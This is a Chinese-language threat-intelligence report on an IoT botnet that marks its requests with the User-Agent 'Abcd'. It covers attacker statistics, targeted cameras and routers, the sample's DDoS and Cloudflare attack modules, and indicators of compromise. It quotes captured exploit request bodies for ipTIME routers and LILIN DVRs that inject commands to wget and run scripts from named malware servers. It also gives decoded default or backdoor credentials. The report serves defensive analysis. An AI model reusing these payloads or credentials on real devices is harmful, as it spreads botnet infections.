阅读: 0
通过绿盟威胁捕获系统,我们发现了一批具有特定行为和目标的攻击者,其攻击所用HTTP请求包中的User-Agent字段往往是确定内容:“Abcd”,主要感染目标涉及多款路由器和视频监控设备。这些攻击者从5月份出现活跃至今,近期依然捕获到其投递样本的行为,值得引起大家关注。
这些攻击者在5月9日被初次发现,平稳一段时间后,6月6日又开始活跃,总数达到219个,其中在中国和越南的攻击者最多,占比70%。另外,在已知的资产情报数据中,这些攻击者有40%为物联网设备,其中79%为摄像头,17%为路由器。
包含User-Agent: Abcd的捕获日志中,攻击者的目标URL共有6个,涉及7个目的端口,对应的物联网资产有AXIS摄像头、九安摄像头、TVT摄像头、LILINDVR、ipTIME路由器以及多款存在DNS劫持漏洞的路由器。
同一攻击IP的日志中,存在不包含User-Agent:Abcd的情况。造成这种情况的原因可能是:该IP被多个僵尸网络所感染;攻击者在前期写的攻击脚本比较自由,后面想体现自己的特点,并且更加规范化了。我们认为后者的可能性更大。
通过漏洞分析和样本分析可以看出,攻击者一是组建僵尸网络,用于后续的DDoS攻击,二是进行DNS劫持,获取受害者的DNS查询信息并根据需要进行篡改。僵尸网络样本虽然在攻击模块中包含了一些较新的攻击手法,包括针对CDN服务商(Cloudflare)的攻击等,但扫描模块采用了部分公开源代码,利用的是多年以前的漏洞,我们认为攻击者的蠕虫开发能力有所欠缺。
基于绿盟可管理安全服务中的各类安全告警数据,我们对与这些攻击者相关的安全告警数据进行分析,我们共关联到366条安全告警数据,其中87%的攻击者存在扫描爆破行为,8%的攻击者有物联网相关漏洞利用行为。
通过对相关日志数量进行统计,可以得到攻击趋势的变化情况。如图 1.1 所示,这些攻击者在2020年5月9日初次被发现,5月10日的日志数量最多,同时这一天的攻击源数量也最多,之后活跃情况下降,最近一段时间每天被捕获的攻击者数量稳定在1-4个不等。
图 1.1 攻击源活跃情况
从地理位置维度对这些攻击者进行分析,得到攻击源国家数量Top10。如图 2.1 所示,来自中国和越南的攻击源最多,共153个,占比70%。
图 2.1 攻击源国家数量Top10
在已知的资产情报数据中,这些攻击源有40%为物联网设备,这些物联网设备中79%为摄像头,17%为路由器。
关注这些攻击源的开放端口。如图 2.2 所示,这些攻击者开放的端口前十名为:80、443、53、500、554、81、23、21、8080、37777。其中开放端口最多的是80端口,开放80端口的攻击源占接近所有肉鸡的47%。
图 2.2 攻击源开放端口数量Top10
截至2020年6月8日,在包含User-Agent: Abcd的捕获日志中,攻击源的目的端口共有7个,如图 3.1 所示,80端口被攻击的最多。
图 3.1 攻击源的目的端口分布
截至2020年6月8日,在包含User-Agent:Abcd的捕获日志中,攻击源的目标URL共有6个,如表3.1 所示。
表 3.1 攻击源的目标URL分布
下面,我们将分别对这些URL对应的资产、漏洞进行分析。
HTTP方法:GET
目的端口:80、81、88、8080、8888、60001
说明:AXIS摄像头相关,当前只捕获到Get请求,55.7%的攻击源发送了这一请求。
HTTP方法:GET
目的端口:80、81、88、8080、8888、60001
说明:九安摄像头相关,当前只捕获到Get请求,54.3%的攻击源发送了这一请求。
HTTP方法:POST
HTTP Authorization: Basic YWRtaW46WHcyMnc=
HTTPbody: <?xmlversion=”1.0″ encoding=”utf-8″ ?><requestversion=”1.0″ systemType=”NVMS-9000″clientType=”WEB”/>
目的端口:80、81、88、8080、8888、60001
说明:TVT摄像头相关,YWRtaW46WHcyMnc=对应admin:Xw22w,因并未捕获到暴力破解的尝试,疑似后门口令,不过我们随机选取1000个与TVT相关的IP进行测试,均认证失败。47.5%的攻击源发送了这一请求。>>>>
HTTP方法:POST
HTTPbody:echo’Content-type: text/plain’;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/sbincd /tmp;rm -rf system.sh;wget http://185.172.110.224/scripts/iptime.sh -O->system.sh;chmod 777 system.sh;sh system.sh
目的端口:80、81、88、8080、8888、60001
说明:ipTIME路由器,本漏洞[1]披露于2015年,今年以来首次被攻击者所使用,样本下载服务器唯一(185.172.110.224)。57.1%的攻击源发送了这一请求。>>>>
HTTP方法:POST
HTTP Authorization: Basiccm9vdDppY2F0Y2g5OQ==
HTTPbody:<?xmlversion=”1.0″ encoding=”UTF-8″?><DVRPlatform=”Hi3520″><SetConfigurationFile=”service.xml”><![CDATA[<?xml version=”1.0″encoding=”UTF-8″?><DVRPlatform=”Hi3520″><Service><NTP Enable=”True”Interval=”20000″ Server=”time.nist.gov&cd /tmp;rm -rflilin.sh;wget http://91.92.66.87/scripts/lilin.sh;chmod 777 lilin.sh;shlilin.sh;echo DONE”/></Service></DVR>]]></SetConfiguration></DVR>
目的端口:80、81、88、8000、8080、60001
说明:LILIN DVR,本漏洞[2]披露于今年3月,User-Agent:Abcd相关的日志中,样本下载服务器唯一(91.92.66.87)。cm9vdDppY2F0Y2g5OQ==对应root:icatch99。当前我们只捕获到1个攻击源发送了这一请求,首次捕获时间是2020年6月6日,连续3天均有捕获。
HTTP方法:GET
HTTP Cookie: admin:language=en;path=/
目的端口:8080
说明:涉及多个厂商的路由器,包括Secutech[3]、Tenda[4]、Unicorn[5],DNS劫持。只有一个攻击源进行了这样的探测。当前我们只捕获到到10条日志,攻击者的活跃时间是2020年5月23日和5月24日。
攻击源从两个样本下载服务器投递了两种不同的样本,分别通过名为iptime.sh和lilin.sh的下载器进行执行。其中通过iptime.sh下载的样本包含了较多的攻击方式,我们将对其进行重点分析。
此样本会接收来自C&C的指令,进行DDoS攻击,包含了多种常见的攻击方式,如UDP Flood、TCP Flood等。
图 4.1 恶意样本DDoS攻击方式列表
其中UDP攻击有两种模式,一种在样本中对应C&C控制指令为“UDP”,功能是对受害主机发送随机数据,属于常规方法。另一种在BOT中对应指令“STD”,这种攻击方式采用硬编码的特定数据串,并且创建socket的方式也有所不同,实际调试过程发现这个模块并不能正常运行。
图 4.2 恶意样本STD Flood攻击模块伪代码
HTTP DDoS攻击方式在BOT中对应的指令为“HTTP”,这个命令中也囊括了多种攻击类型,包括针对指定URL、随机URL的攻击,还有一种攻击类型专门针对知名CDN提供商CloudFlare,对应的指令参数为“CF”,这类攻击向受害者网站的/cdn-cgi/l/chk_captcha路径不断发送请求,我们猜测其会令受害者网站快速陷入Under Attack模式被CloudFlare暂停接入,从而达到攻击者使目标网站瘫痪的目的。
图 4.3 恶意样本HTTP攻击模块CF模式伪代码
除此之外,这个样本还包含一条KILLER指令,这条指令触发的功能是对系统进程中多类恶意蠕虫进行查杀,hakai、satori、rbot等各种蠕虫文件名皆在其检测列表之内。
图 4.4 恶意样本KILLER模块检测的其他进程列表
此样本连接的C&C服务器是硬编码的IP:185.172.110.224,绿盟威胁情报中心(NTI)已将其标记为恶意C&C,除了连接C&C服务器接受指令进行攻击之外,样本还包含多个攻击模块,对CVE-2014-8361、CVE-2017-17215等多个漏洞进行扫描,这些攻击模块都来源于公开的Mirai代码。我们猜测,除了失陷主机本身会利用这些攻击模块发起扫描之外,攻击者还通过其他手段对更多漏洞进行扫描、利用,攻击者在这一部分使用的漏洞库更新频率明显快于样本中扫描模块的更新。
更进一步,我们发现,同一攻击IP的日志中,存在不包含User-Agent:Abcd的情况。涉及多个URL(/、/setup.cgi、/sess-bin /login_session.cgi、 /boaform/admin/ formLogin、/cgi-bin/mainfunction.cgi等)
我们以91.92.66.87为关键词在日志中进行检索,发现除http://91.92.66.87/scripts/lilin.sh外,还有3个样本下载地址(详见IOC部分),从2020年6月4日开始被捕获到。
我们以185.172.110.224为关键词在日志中进行检索,发现除http://185.172.110.224/scripts/iptime.sh外,还有8个样本下载地址(详见IOC部分),其被捕获时间为2020年2月25日到6月2日,当前相关地址已无法访问。
其中http://185.172.110.224/ab/arm7 [6]、http://185.172.110.224/uc/arm7、http://185.172.110.224/tn/mips、http://185.172.110.224/tn/arm5的类似结构出现在了友商的文章“LeetHozer Botnet分析报告”中,因此,基本上可以推断为同一僵尸网络,只不过在5月份再次活跃起来,并且开始通过User-Agent:Abcd来体现自己的独特性。
基于绿盟可管理安全服务中的各类安全告警数据,我们对与这些攻击者相关的安全告警数据进行分析,发现了大量扫描爆破行为和物联网相关漏洞利用行为。5月份至今,我们共关联到219个攻击者366条安全告警数据,其中87%的攻击者存在扫描爆破行为,8%的攻击者有物联网相关漏洞利用行为。
这些攻击者所使用的漏洞大部分都是和物联网相关的,具体的漏洞如表 5.1 所示。
表 5.1 物联网相关漏洞
IOC
样本文件:
样本URL
http://91.92.66.87/scripts/lilin.sh
http://185.172.110.224/scripts/iptime.sh
http://91.92.66.87/scripts/vigor.sh
http://91.92.66.87/scripts/jaws.sh
http://91.92.66.87/vi/agtr
http://185.172.110.224/ab/arm7
http://185.172.110.224/uc/arm7
http://185.172.110.224/aq/rxrg
http://185.172.110.224/scripts/lilin.sh
http://185.172.110.224/tn/mips
http://185.172.110.224/scripts/gpon.sh
http://185.172.110.224/tn/arm5
http://185.172.110.224/zrfrC&C:185.172.110.224
参考文献:
[1] Exploit Code for ipTIME firmwares <9.58 RCE with root privileges against 127 router models, http://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html
[2] LILIN DVR 在野0-day漏洞分析报告,https://blog.netlab.360.com/multiple-botnets-are-spreading-using-lilin-dvr-0-day/
[3] SecutechRiS-11/RiS-22/RiS-33 – Remote DNS Change, https://www.exploit-db.com/exploits/44393
[4] Tenda FH303/A300Firmware v5.07.68_EN – Remote DNS Change, https://www.exploit-db.com/exploits/44381
[5] Unicorn Router WB-3300NR- Cross-Site Request Forgery (Factory Reset/DNS Change), https://www.exploit-db.com/exploits/29312
[6] https://blog.netlab.360.com/the-leethozer-botnet/%EF%BC%8C360%E7%9A%84%E6%96%87%E7%AB%A0%E4%B9%9F%E6%8F%90%E5%88%B0%E4%BA%86